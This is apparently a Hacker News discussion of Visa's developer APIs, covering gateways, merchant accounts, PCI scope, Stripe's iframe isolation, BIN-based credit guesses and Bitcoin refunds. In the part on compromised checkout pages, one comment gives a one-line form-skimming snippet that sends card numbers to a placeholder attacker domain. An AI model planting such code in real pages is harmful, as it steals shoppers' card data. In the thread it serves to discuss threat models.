It doesn't seem like any of these products actually process payments, or is there something I'm missing?
Checkout:
> "Depending on your configuration, you will process the actual payment through your own system, a payment processor, or an e-commerce partner as you normally do."
> Before moving to production and running real transactions, you must have a merchant account from an acquiring (merchant) bank that can process the credit card payments.
> However, in order to use the Visa Direct APIs in production, the Originator must either be a Visa client financial institution (issuer or acquirer), a third-party Originator that has been granted a Visa acquirer POS license (geographical restrictions apply), or a third-party Originator that has established an acquiring relationship for that purpose with a Visa client financial institution.
The token and transaction services are very interesting and it's cool to see Visa jumping into decent modern payment UX, but I don't think they're gunning for Stripe just yet...
This product is essentially a gateway. The same that Stripe or Braintree are gateways. They just do a much better job of abstracting the confusion that is payments.
You will still need a merchant account and a processor. A processor is the party that actually handles authorization/settlements between the issuing bank and acquiring banks.
Right - but Square/Stripe/Braintree supply the merchant account and the processor for me, so I can sign up, pay a transparent/upfront fee schedule, and get payments delivered to my (standard checking) account.
> To use Visa Checkout in production, you must apply and be approved for a Visa Checkout Merchant Services account. (Contact developer@visa.com for more information or to begin the production on-boarding process.)
I guess it will depend on this "on-boarding process" and their ability to make it as seamless as possible.
Ugh. Using this means that your application is in scope for PCI controls, since card data will be transmitted across your network into your application.
One of the reasons that Braintree and Stripe, for example, are so popular is because of the tokenization that they do prior to sending the card data to your systems, thereby putting your application out of scope for PCI.
If Visa added that one detail, this would be a fantastic solution.
Especially when most stripe using sites embed the payment request in their page and there's no way for end users to tell that it's using stripe without looking in the source of the page. If that got re-directed by an attacker 99+% of users wouldn't notice I reckon.
Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance.
If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.
Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
ONE:
You don't use stripe and save all you customer info locally and procces it some other way
TWO:
You use stripe and never store any CC info on your server.
THEN:
Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
For CC details to be stored the attacker needs to modify files though. Other payment gateways just process CC details locally, it is not stored. So either the attacker modifies files to store CC details - or the attacker gets access to log files (but CC details do not belong there either off course).
But generally the credit card data is in fact transmitted via your website to stripe.
While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).
No. You embed Stripe's iframe, which posts to Stripe. The iframe has a separate origin from your own website, which creates a mutual isolation boundary between your site and that iframe: neither can read or modify the contents of the other. It's just as secure as e.g. Paypal's workflow of redirecting to the Paypal website and back.
It's not the same, if the merchant's webserver is compromised they can just change the src attribute of the iframe to point to their card number collecting iframe that wraps the Stripe iframe. With the redirect method the customer can see in the URL bar where their card data is being sent to.
Iframe is not the only option. You can also create your own HTML form with PAN, expiration date and CVV and tell stripe to get information from that form. Then stripe reads data from your form, encrypts it and sends cryptogram to stripe.com. Nothing stops you (or hacker) from reading that data too.
I'm aware, but I was talking more in the practical sense.
The attacker can replace the iframe with his own and proxy it, or perhaps simply display an error and ask the user to re-insert his payment info into the actual stripe form.
The attacker can replace the server's response with his own form that pretends to be Stripe's, too. In the end, there's no real defense against phishing.
Flow 1: User visits shop.com, selects some items, hits checkout, enters his credit card details into a form on shop.com, hits submit, gets emailed a receipt.
Flow 2: User visits shop.com, selects some items, hits checkout, is redirected to a form on processor.com, enters his card details, hits submit, gets email a receipt.
Now flow 1 and flow 2 could be the same internally if the form in flow 1 was actually from processor.com, just embedded into an iframe displayed on shop.com. But the key is that the user has no idea if it is or not.
The form in frame 1 could be in an iframe from anywhere, or it might actually be embedded directly into the page and posting, again, to anywhere. You just have to take it on faith that shop.com hasn't been compromised, and isn't now sending your details to malware.com.
In flow 2, you only enter your details into a form on processor.com; you no longer need to worry if shop.com has been compromised, you just need to verify that you're actually at processor.com, and not proccesor.com or whatever.
A form that has been replaced is quickly picked up on as the merchant stops receiving payments and the customer will call up to complain that they haven't received the product. An iframe around Stripe's can send the PAN off to a malicious server and then continue the payment process.
This is true, but attempting to defend against the general threat you're describing via PCI DSS is meaningless. Any web site, if hacked to serve misleading content, could collect any visitor's credentials for any payment method. This is true even for sites that normally have nothing to do with collecting card payments and therefore have no obligations under PCI DSS.
I'm not a big believer in the usefulness of schemes like PCI DSS anyway, but to the extent that they might be useful, it's as a checklist of good practices to follow when things are working properly. In that case, clearly there is a significant distinction between sending sensitive data over your own network to be stored on your own servers and sending sensitive data only to a trusted service provider that is better equipped to deal with it securely.
You're confusing "Payment Acceptance" with "Payment Processing". The APIs Visa is exposing on that site of theirs are specifically for payments processing - you have cardholder data and you use it for Authorization/Capture/etc.
Payment Acceptance on the other hand has many different flavors especially in the 'Card Not Present' environment where the end user checks out on the web site for example. There are multiple strategies for that in terms of PCI compliance - companies like Stripe, Cybersource(which is now part of Visa) etc provide those solutions.
There's a nice solution to this that, unfortunately, Stripe doesn't offer. It's the use of an encrypting keypad/mag stripe reader (seen as a USB device) to which your processor has the private key. Unencrypted credit card data never touches your system.
"Your application" where? If you're a merchant you need to collect payment data from the end user which is where PCI kicks in. If you want to minimize PCI footprint on your downstream systems you can tokenize the payment instrument before it hits them - Cybersource supports tokenization.
If you're on the processor side you need the PAN unless it's tokenized by the card network like Visa or MC which is how apple pay works from the tokenization standpoint.
> If Visa added that one detail, this would be a fantastic solution
Maybe I am understanding this incorrectly, but isn't that one detail the main value proposition. It almost sounds analogous to a Dropbox competitor offering a cloud storage API but the developer is responsible for handling syncing.
I am not saying it is totally worthless, maybe it has some value to big companies, but I am really failing to understand how this could be broadly useful.
"I am really failing to understand how this could be broadly useful."
For one, it is a huge step forward from existing payment processor communication. Most card acquirer software is vintage 1997, either by sending large amounts of unstructured text over the wire, or parsing through XML, or dealing with error codes that mean nothing from acquirer to acquirer. Switching banks, for example, is such a massive pain in the ass because you essentially have to rewrite your entire card processing code from scratch. Having this easy-to-use API will encourage competitors to play catch up, and it is a pretty good selling point for using Cybersource.
Second, and you can make an argument about monopolies or whatever, but PCI is essentially controlled by Visa and Mastercard. It is entirely possible for Visa to strongarm mom-and-pop-acquirer to play by this API, and then (hopefully) add the public tokenization later. For e-commerce, storing and transmitting only tokens is huge, and goes a long long way towards mitigating the severity of these massive retail breaches.
I apologize, but I still don't get it. Basically, this would allow someone to build software that physically can process credit cards? So basically, this is for companies that sell point of sale systems?
I am aware that credit card processing is quite poorly implemented, so it seems like they are:
* making it less bad
* further exercising their monopoly
* adding more security at the transmission level
so, like who would use this? Basically this is for something like square where you would actual take physical cards and process them? It seems like if a user has a debit card you can process a fee for like 5 basis points. So, Visa is offering a way for merchants and payment processors to improve the security of their (credit card companies) own product so feasibly, they could lower their fees in the future, because they wouldn't have to pass along the massive amount of costs fraud creates due to the systems insecurity.
So, like, who uses this? Just payment processors and companies big enough to have their own point of sale? It seems like a big bet to expend engineering resources on.
What is the upside? Security is priced in to the processing fee, right? So, basically there is no gain for someone who already has a working gateway unless they force them to use this. If you do that engineering spend and get it to work, it is a big bet that users will continue to use a fairly unsecured payment method and carry it around with them, and that mobile payments won't become normalized in the next few years.
The token comes from your acquirer (eg Stripe), not the bank-- the acquirer is the one holding the card info, then when you submit a request to your acquirer, they perform a lookup on the token, grab the card data, and do the real lifting of charging the card.
For a company like Visa, this should be a trivial feature.
The world needs less discrimination based on credit score, not more. Count yourself lucky that you didn't grow up having to deal with the bullshit related to that idiotic number.
Ditto. Being responsible wth money by avoiding credit means I have a low credit score? Please. I do better with my personal finance than someone who thinks iPhones are free.
> BrainTree's API to calculate the species of a credit
> card, thus the minimum credit score.
Does this only work with American cards? binlist.net is showing me who the card issuer is, but doesn't seem to provide anything interesting beyond that. The small number of premium cards I have don't appear to show anything special compared to my normal ones.
That seems like a pretty fickle data source to build a product around.
I have multiple credit cards. I only use one of them for online purchases. It happens to be my oldest card, the one I got when I was 18 years old. Therefore it qualifies as an "introductory" card available with little/no credit history. Would you assume anyone paying with their oldest card has a low credit score?
There are so many factors that go into a credit score that it seems asinine to base an estimate of it on the specific card used for a particular purchase.
Sure you can get the "tier" of a card and know that the issuer only grants that card to someone meeting a minimum credit score. But you know nothing else. Some people have a 750 credit score but have never applied for a second card. You don't know how the age of the credit line, its utilization, its size, its payment history...
This "reverse credit score" estimate seems like complete snake oil. If credit checks are actually an important part of your business, factor them into your costs and just pay the $50.
You can establish a floor of a cardholders historical credit score.
With the introductory card you can't eliminate a high score, and with a premium card you can't eliminate a low score, but you can assume that at some point in time they had a high score with a premium card.
Not really. I have several AU's on my american express card. My sister in college for one, who certainly couldn't qualify for a similar card on her own. There are a lot of AUs.
An Amex may also indicate that at one point I had good credit. I could have a 600 now.
It's a creative product but I second the notion that it hardly seems credible. It might be able to drive incremental ROI but I'd have to see it to believe it.
She's only 21, has almost no credit history, and very low annual income. She does have an auto loan from her credit union for a couple thousand dollars and just very recently got her own first credit card -- a store card (Victoria's Secret) with a $500 credit limit.
In an effort to try to help "jumpstart" her credit score a little bit, though, I added her as an authorized user on one of my American Express credit cards (five-figure limit, very low utilization, and paid in full every month).
This product would very likely peg her credit score as much, much higher than what it really is (suffice it to say, she's on the lower end of the range).
You might find this unfair, but if you're using an introductory card for your normal purchases, you're being financially stupid.
Myriad higher tier cards offer many rewards that you're actually paying for anyway on marked up costs of items merchants have to charge to pay card processing fees. So I would say, yes, you deserve a low credit rating.
Somebody who is actively seeking to get every nickel and dime they can from credit card purchases seems more like a marginal customer to me - warranting a lower score rather than higher.
I hope they don't. Really they shouldn't be exposing the BIN of the actual card number at all, they should be exposing a token. Your payment card number shouldn't be used to make decisions about your credit worthiness or profile you.
The BIN/IIN is pretty useful for various reasons. For example, identifying that your customer has a Mondo (https://getmondo.co.uk) card and automatically pushing rich transaction data to their statement.
I've found the binlist.net to be fairly reliable for retrieving BINs, plus their data is on GitHub if you want to grab it all. A quick Google show a bunch of similar services, although I'm not sure of their accuracy.
Weird caps in the title, "Visa API" would better match how these two words are usually written, in my opinion.
"Visa" is a name, so it should have title caps (I know their branding calls for "VISA" but such is often ignored in non-corporate reporting), and "API" is an abbreviation so it should be all-caps.
Docs are incoherent in just so many ways - and their quick start drops you right into like a 9 page guide for generating two-way ssl docs. Not exactly a quick dev onboarding path.
Request docs list attributes as required that aren't in their examples or runnable sidebar thing (the only cool part). Returns an error body with no error messages, codes, or info. You use some "correlation-id" (called "correlationId" in other places) to apparently get your error messages for a failed request.
I could be missing something, but the code at that link looks seriously insecure. Using sha(secret + parameters) as a MAC is the classic pattern vulnerable to length extension attacks; the self-delimiting nature of JSON might save you, except various parameters are concatenated together with no delimiter, so you might be able to move data from one to another and make it work anyway. In practice this is unlikely to be exploitable as the whole thing is over SSL, but any case, using a HMAC to avoid length extension is basic security engineering stuff.
Banks are still the gatekeepers of this network. Unless you've negotiated deals with VISA partner banks, these APIs are pretty much useless. Companies like Marqueta on the issuer side and Stripe on the acquirer side have relationships with banks that let them move money from your VISA cards. (And even in ACH land, which is lightyears behind the card companies, SynapsePay for example has a bank partner who provides a license for their charter).
Don't think you're gonna be able to write a script to move money from your credit card to your friend. This is still a tightly controlled network of banks. If you're looking to innovate in the payments space, take a look at Bitcoin and other digital currencies.
I don't think I understand. Why would they go to the trouble to launch this API, make claims of being able to process payments, etc. if it is "useless"?
You have no idea of the plethora of CIO/CTO digital transformation initiatives being kicked off at fortune 100s.. Everybody needs an API, even if they serve no purpose. Oh yes, and agile too.
There are two classes of payments - consumer and business.
This API is designed for business payments. Companies that process tens, if not hundreds of thousands of payments on a monthly basis. Think about the companies that sit behind businesses like Etsy or Uber - they need to take a lot of payments from customers and pay the supplier.
Many of those payment companies are financial institutions themselves who probably already have some kind of connection to programs like Visa.
Bitcoin has major scaling problems and is very likely going to fail to deliver on your last sentence. As much as I don't want it to be true, it's more likely that banks will control the blockchain with something like R3.
Please stop spreading this idiotic nonsense. Bitcoin, for all its faults, can handle refunds just fine. It just requires a different model than CCs do. You might as well say "cash can't handle refunds"...
They mean Bitcoin can't guarantee refunds if you are ripped off by the seller. Which, of course, neither can cash. Which is why Visa's generally a better way to pay when you don't completely trust the seller (or even when you do).
Taking a look at the first service I found [1], the fees, the friction and the short period you can claim a refund within, make it seem like quite an inferior experience to using a credit card.
Exactly. Escrow charges you 1.5%. Many credit cards pay you 1.5%. And they protect you for upwards of 90 days post-purchase, for free.
It's free because it's built around agreements with a central authority that can delegate the power to police and reverse transactions. The whole point of Bitcoin is there's no central authority. So you have to layer on top of that much more expensive protection services, as you would with cash transactions.
Except when you need to do a charge back because the good is defective after the first day.
Again, multisig escrow isn't new or innovative, and payments have evolved since then. Houses and shipping containers are as good at refunds as Bitcoin because they also use escrow - except their physical nature makes it harder to do infernational scams than with Bitcoin.
You're right, it requires a multisig escrow scheme which isn't new, unique to Bitcoin, and not innovative to payments, which is the context of this discussion.
Bitcoin handles refunds just fine. There are no chargebacks which is theoretically a selling point for the merchant among with lower tx fees but the refunds are trivial.
Things evolve in weird ways, bitcoin doesn't have a perfect way to do refunds, but it does have the ability to do escrow and to be built into contracts. It could be interesting to disallow refunds generally but be explicit in how contracts and purchases are structured so that a transaction is binding after both parties agree and confirm as much to a 3rd party escrow agent.
Credit cards, much like HTML, were a good idea built on a preceding ideas looking at the problem they were solving. So while credit cards have evolved, the now appear most similar to the Diner's club implementation popularized in the mid 50s[0]
KAZ NEJATIAN did an interesting interview in a YC podcast about his company Kash. He talks about how credit cards work on an antiquated system that, in 90% of transactions (his words) don't use anymore than the expiration date and numbers to process and compares defending processing to building a really strong door without walls.
He is neccessarily biased of course, but his explanation of the routing and auth system credit card companies used seems insane, and they aren't even value stores like banks.
Point is, things evolve in different ways and in fact, bitcoins lack of refunds (which may or may not even be true), could in fact be a massive innovation. Especially if it could deal with fraud which one could make a case for being the only valid reason for a refund. Not meeting a future obligation, could in fact be settled in the future by escrow or an insurance product one could create. E.g. I buy a laptop with a 5 year warranty and it breaks in year 4. In this contrived example, an issuer could run a system scan and verify this independently and objectively and release a predetermined payment amount, or go to a 3rd party arbitrator who would verify and release the funds.
> Your Account " xxxxxx " has been setup and is currently in TEST status. It must "Go Live" before you can process real credit card payments and receive funds. To complete your registration, please create the following two accounts within 24 hours of receipt of this email, before the links expire.
Still going well. I really think they want it to be as open as possible.
I think this is still not a one-stop shop for all their APIs. I had to create a "normal" CyberSource account, and if I want to use Visa Checkout I have to become an accepted Visa Merchant (not sure what the process is — not sure I want to know). And I don't think I can even usa Visa Direct (they recommend to send an email at contact@ to go live, but I don't have an app to distribute yet, so I can't tell you right now).
Did you get any decent action out of the API? I spent 2 hours tonight poking at it... Pretty certain I'm doing everything correctly, but I'm getting 403's and no usable errors.
Nothing here that would encourage me to switch from Stripe or Braintree. Both those companies handle all the insane edge cases, recurring payments, and refunds.
I see a lot of comparisons to Stripe. While I'm sure this API has it's warts, the reasons for it to exist center around cost and control. At a certain scale, companies want the lower cost and higher control associated with having their own merchant account.
Cost: Stripe's 2.9% + 30 cents per transaction, if you do enough transactions per month, is very high. How much better you can do depends on some variables like average transaction size, debit/credit mix, etc. You can easily shave it down to around 1.9% in most cases, or better. Again, at a certain scale, giving up 1% or more of your incoming revenue just isn't smart.
Control: Lots of areas here. Removing "STRIPE" from the charge listing on the customer's credit card statement. Direct control of chargebacks. Routing to different payment gateways based on card type. Better integration of card-present and online transactions.
You do, of course, lose the advantages that Stripe provides, so your scale would have to be such that replicating that functionality is justified. There are solutions in the middle. Authorize.net, for example, will let you use your own merchant account and pay just for the gateway services. They provide some of benefits/features that you would lose doing it from scratch.
I spent 1 minute looking and then I left. Stripe has all my business. I "signed up" without ever signing up. Stripe has a perfect customer acquisition funnel.
Maybe I understood it wrong ... but you don't know how much it will cost to use their API before you submit your application to them?
Why would anyone invest any nontrivial amount of resources on developing something for which they don't know what the cost of running it is going to be?
What is lacking is a clear business overview of what their product is, its costs and benefits.
Once your application is completely functional, you email them (lol) and then they go through contract negotiation and application/security/etc. review where you get your terms.
Isn't this just a way to filter out the type of clients they don't want. If you do not have the time or resource to go through these bureaucratic scenarios, then you aren't a good fit.
Sure, but they're not going to even tell you if you're a good fit until you go through the entire expense of building for their gateway. I'd think one would spend that effort integrating with any number of other gateways that have some clear requirements. There's just no clear advantage here that I can see.
But...why would anyone tolerate that when there are so many other services out there? Maybe they have some competitive advantage, but their site sure doesn't make it clear what it is.
I think it's cool that VISA is trying to innovate in the space, but I'm not sure of the target audience for these APIs. For most businesses, you're probably better off integrating to Stripe and not having to deal with Gateways or Merchant Accounts.
Right. That was my thought, but that's going to be a diminishingly small set of customers. Why go through the hassle of opening it up to everyone? I suppose it's "hip" to have a cool bootstrappy website and an API that anyone can use, but it's just not super useful for most businesses.
Granted it may be a diminishing set, but regardless of the size of the set it seems they would be a large portion of the business? Some sort of 90 10 rule.
Their ATM locator API doesn't really work in France, I just tried for the Paris suburb and the nearest ATM found was miles away. There are dozens of them between the test location and the closest one returned.
Why bother putting so much time and effort to release something this bad?
Because the executive committee has no understanding of why they need a "good" API, and no appetite for the difficult journey they need to embark on to create one, but they just have to do "something", and they're happy with "anything". That's my bet.
The largest player in the market just entered the API arms race, years late and with pockets deeper than any of their rivals. Yet two brothers from Ireland are still the best game in town.
They've had hackathons, and they have a few sample ideas. My favorite is checking local restaurants and the zip codes of users. This gives you a listing of places that are popular with locals.
You have to submit your app for approval to get pricing.
"Once you’re ready to move forward and submit your app for approval, contact developer@visa.com and work with our team to complete risk reviews, contracts, system configurations, pricing, and billing arrangements."
I dunno if this is kosher, but if someone who qualifies wants to go through the process of applying and posting the rates, there would be a wealth of gratitude in it for you.
It sounds like the rates they offer one business will not necessarily be the same as the rates they offer another business.
This is kind of Visa's whole business model - assessing and pricing credit risk. There isn't too much point in learning the rates they offer somebody else.
While this is great (although very late) it's biggest issue is that I have to implement this and another service if I care about the other credit card companies. Merchants would be fools to just accept Visa.
FYI this isn't anything new. The networks (at least Visa and MC) have been routing payments to other networks for years, so that their customers don't need a separate integration with each network (or to use a middleman processor who has integrated with each network).
I don't see how it's different at all in this respect. If you want to support other payment systems or currencies, you need to implement Bitcoin and another service. Just like the GP was saying about Visa.
At one of my previous companies, once we reached significant volume, Cybersource asked us for a material percentage of our transaction volume as a reserve, otherwise they would shut us down. I would never use them again as a processor.
I've used them for a customer processing more than 20 million dollars/year and we didn't have that. The merchant account does take a small percentage as a rolling reserve though (3% if I remember correctly).
In term of programing, I much prefer dealing with Braintree but Cybersource is not too bad (not the worse gateway I've dealt with, less issues tha Authorize.net)
I wonder how much of a role Bitcoin played as an impetus for finally coming out with this. Sure, it should have been done way before Bitcoin, but I bet that gave them a reason to put the peddle to the metal.
Visa's product is almost entirely orthogonal to Bitcoin. It has a fairly high service fee, which provides a (worthwhile) service of insuring both the customer and the merchant against misdoings by the other, that is, offering payments that can be reversed in the far future. It's centralized, and humans can reverse payments. It discriminates strongly on what fields they're willing to serve payments for. It requires not only identities but background checks of both customers and merchants, and can permanently shut down a customer or merchant they don't want to serve any more. It provides credit.
If they really felt threatened by Bitcoin, they would have changed any one of those things. Bitcoin doesn't even have an HTTP API, so adding one doesn't help you compete.
Checkout:
> "Depending on your configuration, you will process the actual payment through your own system, a payment processor, or an e-commerce partner as you normally do."
( https://developer.visa.com/products/visa_checkout/guides )
CyberSource:
> Before moving to production and running real transactions, you must have a merchant account from an acquiring (merchant) bank that can process the credit card payments.
( https://developer.visa.com/products/cybersource/thingstoknow )
Visa Direct APIs:
> However, in order to use the Visa Direct APIs in production, the Originator must either be a Visa client financial institution (issuer or acquirer), a third-party Originator that has been granted a Visa acquirer POS license (geographical restrictions apply), or a third-party Originator that has established an acquiring relationship for that purpose with a Visa client financial institution.
( https://developer.visa.com/products/visa_direct/thingstoknow )
The token and transaction services are very interesting and it's cool to see Visa jumping into decent modern payment UX, but I don't think they're gunning for Stripe just yet...